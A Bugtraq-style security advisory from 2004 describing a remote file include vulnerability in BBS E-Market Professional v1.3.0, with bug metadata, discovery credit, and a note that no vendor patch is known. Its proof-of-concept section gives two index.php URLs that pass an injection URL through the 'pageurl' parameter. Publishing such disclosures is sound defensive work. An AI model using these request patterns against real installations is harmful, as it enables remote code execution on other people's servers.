BBS E-Market Professional Remote File Include Vulnerability

Bugtraq ID:	11146
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 09 2004 12:00AM
Updated:	Sep 09 2004 12:00AM
Credit:	Discovery is credited to Ahmad Muammar <[email protected]>.
Vulnerable:	BBS E-Market Professional BBS E-Market Professional bf_130 (v1.3.0)
Not Vulnerable:

BBS E-Market Professional Remote File Include Vulnerability

BBS E-Market Professional is reported to be affected by a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system.

BBS E-Market Professional Remote File Include Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com/becommunity/community/index.php?pageurl=[injection URL]
http://www.example.com/becommunity/community/index.php?from_market=Y&pageurl=[injection URL]

BBS E-Market Professional Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

BBS E-Market Professional Remote File Include Vulnerability

References:

• Homepage (BBS E-Market Professional)
  
• Multiple vulnerabilities 1n BBS E-Market Professional (Ahmad Muammar )